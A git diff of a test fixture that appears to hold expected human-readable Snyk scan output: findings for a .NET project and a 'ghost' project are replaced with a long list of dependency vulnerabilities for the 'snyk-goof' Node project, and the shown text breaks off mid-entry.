a/internal/presenters/testdata/ufm/multi_project.human.readable b/internal/presenters/testdata/ufm/multi_project.human.readable index f847b4ac8..b783f78f6 100644 --- a/internal/presenters/testdata/ufm/multi_project.human.readable +++ b/internal/presenters/testdata/ufm/multi_project.human.readable @@ -1,768 +1,1892 @@ -Testing (dotnet/obj/project.assets.json) ... +Testing (snyk-goof/package-lock.json) ... -Tested 84 dependencies for known issues, found 6 issues, 9 vulnerable paths. +Tested 700 dependencies for known issues, found 120 issues, 436 vulnerable paths. -Open Security issues: 6 +Open Security issues: 120 - ✗ [MEDIUM] Authentication Bypass - Finding ID: SNYK-DOTNET-SYSTEMNETHTTP-60048 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMNETHTTP-60048 - Introduced by: System.Net.Http - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Net.Http@4.3.0 - Risk Score: 48 - - ✗ [HIGH] Denial of Service (DoS) - Finding ID: SNYK-DOTNET-SYSTEMNETHTTP-60045 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMNETHTTP-60045 - Introduced by: System.Net.Http - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Net.Http@4.3.0 - Risk Score: 130 - - ✗ [HIGH] Improper Certificate Validation - Finding ID: SNYK-DOTNET-SYSTEMNETHTTP-60046 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMNETHTTP-60046 - Introduced by: System.Net.Http - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Net.Http@4.3.0 - Risk Score: 115 - - ✗ [HIGH] Privilege Escalation - Finding ID: SNYK-DOTNET-SYSTEMNETHTTP-60047 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMNETHTTP-60047 - Introduced by: System.Net.Http - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Net.Http@4.3.0 - Risk Score: 115 - - ✗ [HIGH] Information Exposure - Finding ID: SNYK-DOTNET-SYSTEMNETHTTP-72439 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMNETHTTP-72439 - Introduced by: System.Net.Http - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Net.Http@4.3.0 - Risk Score: 123 - - ✗ [HIGH] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-DOTNET-SYSTEMTEXTREGULAREXPRESSIONS-174708 - Info: https://snyk.io/vuln/SNYK-DOTNET-SYSTEMTEXTREGULAREXPRESSIONS-174708 - Introduced by: System.Text.RegularExpressions - Introduced through: tpwe@1.0.0 > NSubstitute@4.3.0 > Castle.Core@4.4.1 > NETStandard.Library@1.6.1 > System.Text.RegularExpressions@4.3.0 - Risk Score: 119 - -╭─────────────────────────────────────────────────────────╮ -│ Test Summary │ -│ │ -│ Organization: My Org │ -│ Test type: Software Composition Analysis │ -│ Project path: multi-project │ -│ Target file: dotnet/obj/project.assets.json │ -│ │ -│ Total security issues: 6 │ -│ Ignored: 0 [ 0 CRITICAL  0 HIGH  0 MEDIUM  0 LOW ] │ -│ Open : 6 [ 0 CRITICAL  5 HIGH  1 MEDIUM  0 LOW ] │ -╰─────────────────────────────────────────────────────────╯ - -───────────────────────────────────────────────────── + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-BRACEEXPANSION-9789073 + Info: https://snyk.io/vuln/SNYK-JS-BRACEEXPANSION-9789073 + Introduced by: brace-expansion + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 > fs-extra@0.22.1 > rimraf@2.6.3 > glob@7.1.3 > minimatch@3.0.4 > brace-expansion@1.1.11 -Testing (ghost/package.json) ... + ✗ [LOW] Prototype Pollution + Finding ID: SNYK-JS-MINIMIST-2429795 + Info: https://snyk.io/vuln/SNYK-JS-MINIMIST-2429795 + Introduced by: minimist + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > spawn-wrap@1.2.3 > mkdirp@0.5.1 > minimist@0.0.8 -Tested 23 dependencies for known issues, found 19 issues, 27 vulnerable paths. + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:braces:20180219 + Info: https://snyk.io/vuln/npm:braces:20180219 + Introduced by: braces + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > micromatch@2.3.8 > braces@1.8.5 -Open Security issues: 19 + ✗ [LOW] Insecure use of /tmp folder + Finding ID: npm:cli:20160615 + Info: https://snyk.io/vuln/npm:cli:20160615 + Introduced by: cli + Introduced through: goof@1.0.1 > dustjs-linkedin@2.6.0 > cli@0.6.6 - ✗ [LOW] Cross-site Scripting - Finding ID: SNYK-JS-SEND-7926862 - Info: https://snyk.io/vuln/SNYK-JS-SEND-7926862 - Introduced by: send - Introduced through: package.json@ > express@4.0.0 > send@0.2.0 - Risk Score: 57 + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:debug:20170905 + Info: https://snyk.io/vuln/npm:debug:20170905 + Introduced by: debug + Introduced through: goof@1.0.1 > express@4.12.4 > finalhandler@0.3.6 > debug@2.2.0 - ✗ [LOW] Cross-site Scripting - Finding ID: SNYK-JS-SERVESTATIC-7926865 - Info: https://snyk.io/vuln/SNYK-JS-SERVESTATIC-7926865 - Introduced by: serve-static - Introduced through: package.json@ > express@4.0.0 > serve-static@1.0.1 - Risk Score: 57 + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:hawk:20160119 + Info: https://snyk.io/vuln/npm:hawk:20160119 + Introduced by: hawk + Introduced through: goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > hawk@1.1.1 ✗ [LOW] Regular Expression Denial of Service (ReDoS) Finding ID: npm:mime:20170907 Info: https://snyk.io/vuln/npm:mime:20170907 Introduced by: mime - Introduced through: package.json@ > express@4.0.0 > accepts@1.0.0 > mime@1.2.11 - Risk Score: 35 + Introduced through: goof@1.0.1 > express@4.12.4 > serve-static@1.9.3 > send@0.12.3 > mime@1.3.4 + + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:moment:20170905 + Info: https://snyk.io/vuln/npm:moment:20170905 + Introduced by: moment + Introduced through: goof@1.0.1 > moment@2.15.1 - ✗ [LOW] Open Redirect - Finding ID: npm:serve-static:20150113 - Info: https://snyk.io/vuln/npm:serve-static:20150113 - Introduced by: serve-static - Introduced through: package.json@ > express@4.0.0 > serve-static@1.0.1 - Risk Score: 24 + ✗ [LOW] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:ms:20170412 + Info: https://snyk.io/vuln/npm:ms:20170412 + Introduced by: ms + Introduced through: goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: SNYK-JS-COOKIE-8163060 - Info: https://snyk.io/vuln/SNYK-JS-COOKIE-8163060 + Finding ID: SNYK-JS-COLORNAME-17614999 + Info: https://snyk.io/vuln/SNYK-JS-COLORNAME-17614999 + Introduced by: color-name + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/update-notifier@2.5.1-rc2 > boxen@1.3.0 > chalk@2.4.2 > ansi-styles@3.2.1 > color-convert@1.9.3 > color-name@1.1.3 + + ✗ [MEDIUM] Arbitrary Code Injection + Finding ID: SNYK-JS-COOKIE-13271683 + Info: https://snyk.io/vuln/SNYK-JS-COOKIE-13271683 Introduced by: cookie - Introduced through: package.json@ > express@4.0.0 > cookie@0.1.0 - Risk Score: 34 + Introduced through: goof@1.0.1 > express@4.12.4 > cookie@0.1.2 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-DEBUG-13283909 + Info: https://snyk.io/vuln/SNYK-JS-DEBUG-13283909 + Introduced by: debug + Introduced through: goof@1.0.1 > method-override@3.0.0 > debug@3.1.0 + + ✗ [MEDIUM] Alternate solution to CWE-1333 | Inefficient Regular Expression Complexity + Finding ID: SNYK-JS-DEBUG-14214893 + Info: https://snyk.io/vuln/SNYK-JS-DEBUG-14214893 + Introduced by: debug + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-gradle-plugin@3.2.4 > debug@4.1.1 + + ✗ [MEDIUM] Arbitrary Code Injection + Finding ID: SNYK-JS-EJS-1049328 + Info: https://snyk.io/vuln/SNYK-JS-EJS-1049328 + Introduced by: ejs + Introduced through: goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 + + ✗ [MEDIUM] Arbitrary File Upload + Finding ID: SNYK-JS-EXPRESSFILEUPLOAD-2635697 + Info: https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-2635697 + Introduced by: express-fileupload + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 + + ✗ [MEDIUM] Arbitrary File Upload + Finding ID: SNYK-JS-EXPRESSFILEUPLOAD-2635946 + Info: https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-2635946 + Introduced by: express-fileupload + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-GLOBPARENT-1016905 + Info: https://snyk.io/vuln/SNYK-JS-GLOBPARENT-1016905 + Introduced by: glob-parent + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > test-exclude@1.1.0 > micromatch@2.3.8 > parse-glob@3.0.4 > glob-base@0.3.0 > glob-parent@2.0.0 ✗ [MEDIUM] Open Redirect - Finding ID: SNYK-JS-EXPRESS-6474509 - Info: https://snyk.io/vuln/SNYK-JS-EXPRESS-6474509 - Introduced by: express - Introduced through: package.json@ > express@4.0.0 - Risk Score: 74 - - ✗ [MEDIUM] Cross-site Scripting - Finding ID: SNYK-JS-EXPRESS-7926867 - Info: https://snyk.io/vuln/SNYK-JS-EXPRESS-7926867 - Introduced by: express - Introduced through: package.json@ > express@4.0.0 - Risk Score: 75 + Finding ID: SNYK-JS-GOT-2932019 + Info: https://snyk.io/vuln/SNYK-JS-GOT-2932019 + Introduced by: got + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/update-notifier@2.5.1-rc2 > latest-version@3.1.0 > package-json@4.0.1 > got@6.7.1 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-1279029 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-1279029 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-567742 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-567742 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-JS-PATHTOREGEXP-7925106 - Info: https://snyk.io/vuln/SNYK-JS-PATHTOREGEXP-7925106 - Introduced by: path-to-regexp - Introduced through: package.json@ > express@4.0.0 > path-to-regexp@0.1.2 - Risk Score: 57 + Finding ID: SNYK-JS-HOSTEDGITINFO-1088355 + Info: https://snyk.io/vuln/SNYK-JS-HOSTEDGITINFO-1088355 + Introduced by: hosted-git-info + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-resolve-deps@4.4.0 > snyk-module@1.9.1 > hosted-git-info@2.8.5 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-JQUERY-174006 + Info: https://snyk.io/vuln/SNYK-JS-JQUERY-174006 + Introduced by: jquery + Introduced through: goof@1.0.1 > jquery@2.2.4 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-JQUERY-565129 + Info: https://snyk.io/vuln/SNYK-JS-JQUERY-565129 + Introduced by: jquery + Introduced through: goof@1.0.1 > jquery@2.2.4 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-JQUERY-567880 + Info: https://snyk.io/vuln/SNYK-JS-JQUERY-567880 + Introduced by: jquery + Introduced through: goof@1.0.1 > jquery@2.2.4 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-JSONPOINTER-1577288 + Info: https://snyk.io/vuln/SNYK-JS-JSONPOINTER-1577288 + Introduced by: jsonpointer + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > har-validator@2.0.6 > is-my-json-valid@2.19.0 > jsonpointer@4.0.1 + + ✗ [MEDIUM] Denial of Service (DoS) + Finding ID: SNYK-JS-JSYAML-173999 + Info: https://snyk.io/vuln/SNYK-JS-JSYAML-173999 + Introduced by: js-yaml + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > js-yaml@3.6.1 + + ✗ [MEDIUM] Denial of Service (DoS) + Finding ID: SNYK-JS-JSZIP-1251497 + Info: https://snyk.io/vuln/SNYK-JS-JSZIP-1251497 + Introduced by: jszip + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > jszip@3.2.2 ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) - Finding ID: SNYK-JS-PATHTOREGEXP-8482416 - Info: https://snyk.io/vuln/SNYK-JS-PATHTOREGEXP-8482416 - Introduced by: path-to-regexp - Introduced through: package.json@ > express@4.0.0 > path-to-regexp@0.1.2 - Risk Score: 61 + Finding ID: SNYK-JS-LODASH-1018905 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-1018905 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-nuget-plugin@1.16.0 > lodash@4.17.15 + + ✗ [MEDIUM] Allocation of Resources Without Limits or Throttling + Finding ID: SNYK-JS-LODASH-18314748 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-18314748 + Introduced by: lodash + Introduced through: goof@1.0.1 > snyk@1.290.2 > @snyk/snyk-cocoapods-plugin@2.0.1 > @snyk/cocoapods-lockfile-parser@3.0.0 > @snyk/ruby-semver@2.0.4 > lodash@4.17.15 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-LODASH-73639 + Info: https://snyk.io/vuln/SNYK-JS-LODASH-73639 + Introduced by: lodash + Introduced through: goof@1.0.1 > lodash@4.17.4 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MARKED-174116 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-174116 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MARKED-2342073 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342073 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 - ✗ [MEDIUM] Non-Constant Time String Comparison - Finding ID: npm:cookie-signature:20160804 - Info: https://snyk.io/vuln/npm:cookie-signature:20160804 - Introduced by: cookie-signature - Introduced through: package.json@ > express@4.0.0 > cookie-signature@1.0.3 - Risk Score: 86 + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MARKED-2342082 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-2342082 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MARKED-451540 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-451540 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MARKED-584281 + Info: https://snyk.io/vuln/SNYK-JS-MARKED-584281 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-MINIMATCH-3050818 + Info: https://snyk.io/vuln/SNYK-JS-MINIMATCH-3050818 + Introduced by: minimatch + Introduced through: goof@1.0.1 > tap@5.8.0 > glob@7.1.3 > minimatch@3.0.4 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-MINIMIST-559764 + Info: https://snyk.io/vuln/SNYK-JS-MINIMIST-559764 + Introduced by: minimist + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > minimist@1.2.0 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-MONGOOSE-1086688 + Info: https://snyk.io/vuln/SNYK-JS-MONGOOSE-1086688 + Introduced by: mongoose + Introduced through: goof@1.0.1 > mongoose@4.2.4 + + ✗ [MEDIUM] Information Exposure + Finding ID: SNYK-JS-MONGOOSE-472486 + Info: https://snyk.io/vuln/SNYK-JS-MONGOOSE-472486 + Introduced by: mongoose + Introduced through: goof@1.0.1 > mongoose@4.2.4 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-MPATH-1577289 + Info: https://snyk.io/vuln/SNYK-JS-MPATH-1577289 + Introduced by: mpath + Introduced through: goof@1.0.1 > mongoose@4.2.4 > mpath@0.1.1 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-PARSEURL-2935944 + Info: https://snyk.io/vuln/SNYK-JS-PARSEURL-2935944 + Introduced by: parse-url + Introduced through: goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + + ✗ [MEDIUM] Information Exposure + Finding ID: SNYK-JS-PARSEURL-2935947 + Info: https://snyk.io/vuln/SNYK-JS-PARSEURL-2935947 + Introduced by: parse-url + Introduced through: goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: SNYK-JS-PARSEURL-2942134 + Info: https://snyk.io/vuln/SNYK-JS-PARSEURL-2942134 + Introduced by: parse-url + Introduced through: goof@1.0.1 > snyk@1.290.2 > git-url-parse@11.1.2 > git-up@4.0.1 > parse-url@5.0.1 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-UGLIFYJS-1727251 + Info: https://snyk.io/vuln/SNYK-JS-UGLIFYJS-1727251 + Introduced by: uglify-js + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 > uglify-js@2.6.2 + + ✗ [MEDIUM] Arbitrary Code Injection + Finding ID: SNYK-JS-UNDERSCORE-1080984 + Info: https://snyk.io/vuln/SNYK-JS-UNDERSCORE-1080984 + Introduced by: underscore + Introduced through: goof@1.0.1 > cfenv@1.2.2 > underscore@1.9.1 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: SNYK-JS-YARGSPARSER-560381 + Info: https://snyk.io/vuln/SNYK-JS-YARGSPARSER-560381 + Introduced by: yargs-parser + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > yargs@4.7.1 > yargs-parser@2.4.0 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:brace-expansion:20170302 + Info: https://snyk.io/vuln/npm:brace-expansion:20170302 + Introduced by: brace-expansion + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > spawn-wrap@1.2.3 > rimraf@2.5.2 > glob@7.0.3 > minimatch@3.0.0 > brace-expansion@1.1.4 ✗ [MEDIUM] Cross-site Scripting (XSS) - Finding ID: npm:express:20140912 - Info: https://snyk.io/vuln/npm:express:20140912 - Introduced by: express - Introduced through: package.json@ > express@4.0.0 - Risk Score: 69 + Finding ID: npm:ejs:20161130 + Info: https://snyk.io/vuln/npm:ejs:20161130 + Introduced by: ejs + Introduced through: goof@1.0.1 > ejs@1.0.0 ✗ [MEDIUM] Denial of Service (DoS) - Finding ID: npm:qs:20140806-1 - Info: https://snyk.io/vuln/npm:qs:20140806-1 - Introduced by: qs - Introduced through: package.json@ > express@4.0.0 > qs@0.6.6 - Risk Score: 74 + Finding ID: npm:ejs:20161130-1 + Info: https://snyk.io/vuln/npm:ejs:20161130-1 + Introduced by: ejs + Introduced through: goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: npm:hoek:20180212 + Info: https://snyk.io/vuln/npm:hoek:20180212 + Introduced by: hoek + Introduced through: goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > hawk@1.1.1 > boom@0.4.2 > hoek@0.9.1 + + ✗ [MEDIUM] Timing Attack + Finding ID: npm:http-signature:20150122 + Info: https://snyk.io/vuln/npm:http-signature:20150122 + Introduced by: http-signature + Introduced through: goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 > http-signature@0.10.1 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: npm:jquery:20150627 + Info: https://snyk.io/vuln/npm:jquery:20150627 + Introduced by: jquery + Introduced through: goof@1.0.1 > jquery@2.2.4 + + ✗ [MEDIUM] Prototype Pollution + Finding ID: npm:lodash:20180130 + Info: https://snyk.io/vuln/npm:lodash:20180130 + Introduced by: lodash + Introduced through: goof@1.0.1 > lodash@4.17.4 + + ✗ [MEDIUM] Cross-site Scripting (XSS) + Finding ID: npm:marked:20170815-1 + Info: https://snyk.io/vuln/npm:marked:20170815-1 + Introduced by: marked + Introduced through: goof@1.0.1 > marked@0.3.5 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:moment:20161019 + Info: https://snyk.io/vuln/npm:moment:20161019 + Introduced by: moment + Introduced through: goof@1.0.1 > moment@2.15.1 + + ✗ [MEDIUM] Remote Memory Exposure + Finding ID: npm:mongoose:20160116 + Info: https://snyk.io/vuln/npm:mongoose:20160116 + Introduced by: mongoose + Introduced through: goof@1.0.1 > mongoose@4.2.4 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:ms:20151024 + Info: https://snyk.io/vuln/npm:ms:20151024 + Introduced by: ms + Introduced through: goof@1.0.1 > humanize-ms@1.0.1 > ms@0.6.2 + + ✗ [MEDIUM] Remote Memory Exposure + Finding ID: npm:request:20160119 + Info: https://snyk.io/vuln/npm:request:20160119 + Introduced by: request + Introduced through: goof@1.0.1 > tap@5.8.0 > codecov.io@0.1.6 > request@2.42.0 + + ✗ [MEDIUM] Regular Expression Denial of Service (ReDoS) + Finding ID: npm:semver:20150403 + Info: https://snyk.io/vuln/npm:semver:20150403 + Introduced by: semver + Introduced through: goof@1.0.1 > npmconf@0.0.24 > semver@1.1.4 ✗ [MEDIUM] Directory Traversal - Finding ID: npm:send:20140912 - Info: https://snyk.io/vuln/npm:send:20140912 - Introduced by: send - Introduced through: package.json@ > express@4.0.0 > send@0.2.0 - Risk Score: 39 - - ✗ [MEDIUM] Root Path Disclosure - Finding ID: npm:send:20151103 - Info: https://snyk.io/vuln/npm:send:20151103 - Introduced by: send - Introduced through: package.json@ > express@4.0.0 > send@0.2.0 - Risk Score: 40 - - ✗ [HIGH] Prototype Poisoning - Finding ID: SNYK-JS-QS-3153490 - Info: https://snyk.io/vuln/SNYK-JS-QS-3153490 - Introduced by: qs - Introduced through: package.json@ > express@4.0.0 > qs@0.6.6 - Risk Score: 150 + Finding ID: npm:st:20140206 + Info: https://snyk.io/vuln/npm:st:20140206 + Introduced by: st + Introduced through: goof@1.0.1 > st@0.2.4 + + ✗ [MEDIUM] Open Redirect + Finding ID: npm:st:20171013 + Info: https://snyk.io/vuln/npm:st:20171013 + Introduced by: st + Introduced through: goof@1.0.1 > st@0.2.4 + + ✗ [MEDIUM] Uninitialized Memory Exposure + Finding ID: npm:tunnel-agent:20170305 + Info: https://snyk.io/vuln/npm:tunnel-agent:20170305 + Introduced by: tunnel-agent + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > tunnel-agent@0.4.3 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-ACORN-559469 + Info: https://snyk.io/vuln/SNYK-JS-ACORN-559469 + Introduced by: acorn + Introduced through: goof@1.0.1 > @snyk/nodejs-runtime-agent@1.43.0 > acorn@5.7.1 + + ✗ [HIGH] Directory Traversal + Finding ID: SNYK-JS-ADMZIP-1065796 + Info: https://snyk.io/vuln/SNYK-JS-ADMZIP-1065796 + Introduced by: adm-zip + Introduced through: goof@1.0.1 > adm-zip@0.4.11 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-ANSIREGEX-1583908 + Info: https://snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908 + Introduced by: ansi-regex + Introduced through: goof@1.0.1 > snyk@1.290.2 > strip-ansi@5.2.0 > ansi-regex@4.1.0 + + ✗ [HIGH] Directory Traversal + Finding ID: SNYK-JS-ASYNC-12239908 + Info: https://snyk.io/vuln/SNYK-JS-ASYNC-12239908 + Introduced by: async + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-config@2.2.3 > nconf@0.10.0 > async@1.5.2 + + ✗ [HIGH] Remote Memory Exposure + Finding ID: SNYK-JS-BL-608877 + Info: https://snyk.io/vuln/SNYK-JS-BL-608877 + Introduced by: bl + Introduced through: goof@1.0.1 > snyk@1.290.2 > snyk-docker-plugin@1.38.0 > tar-stream@2.1.0 > bl@3.0.0 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-DICER-2311764 + Info: https://snyk.io/vuln/SNYK-JS-DICER-2311764 + Introduced by: dicer + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 > connect-busboy@0.0.2 > busboy@0.3.1 > dicer@0.3.0 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-DUSTJSLINKEDIN-1089257 + Info: https://snyk.io/vuln/SNYK-JS-DUSTJSLINKEDIN-1089257 + Introduced by: dustjs-linkedin + Introduced through: goof@1.0.1 > dustjs-linkedin@2.6.0 + + ✗ [HIGH] Remote Code Execution (RCE) + Finding ID: SNYK-JS-EJS-2803307 + Info: https://snyk.io/vuln/SNYK-JS-EJS-2803307 + Introduced by: ejs + Introduced through: goof@1.0.1 > ejs-locals@1.0.2 > ejs@0.8.8 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-EXPRESSFILEUPLOAD-473997 + Info: https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-473997 + Introduced by: express-fileupload + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-EXPRESSFILEUPLOAD-595969 + Info: https://snyk.io/vuln/SNYK-JS-EXPRESSFILEUPLOAD-595969 + Introduced by: express-fileupload + Introduced through: goof@1.0.1 > express-fileupload@0.0.5 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-FILETYPE-2958042 + Info: https://snyk.io/vuln/SNYK-JS-FILETYPE-2958042 + Introduced by: file-type + Introduced through: goof@1.0.1 > file-type@8.1.0 + + ✗ [HIGH] Remote Code Execution (RCE) + Finding ID: SNYK-JS-HANDLEBARS-1056767 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-173692 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-174183 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-174183 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-HANDLEBARS-469063 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-469063 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Denial of Service (DoS) + Finding ID: SNYK-JS-HANDLEBARS-480388 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-480388 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Arbitrary Code Execution + Finding ID: SNYK-JS-HANDLEBARS-534478 + Info: https://snyk.io/vuln/SNYK-JS-HANDLEBARS-534478 + Introduced by: handlebars + Introduced through: goof@1.0.1 > tap@5.8.0 > nyc@6.6.1 > istanbul@0.4.3 > handlebars@4.0.5 + + ✗ [HIGH] Regular Expression Denial of Service (ReDoS) + Finding ID: SNYK-JS-HAWK-2808852 + Info: https://snyk.io/vuln/SNYK-JS-HAWK-2808852 + Introduced by: hawk + Introduced through: goof@1.0.1 > tap@5.8.0 > coveralls@2.13.3 > request@2.79.0 > hawk@3.1.3 + + ✗ [HIGH] Prototype Pollution + Finding ID: SNYK-JS-INI-1048974 + Info: https://snyk.io/vuln/SNYK-JS-INI-1048974 + Introduced by: ini + Introduced through: 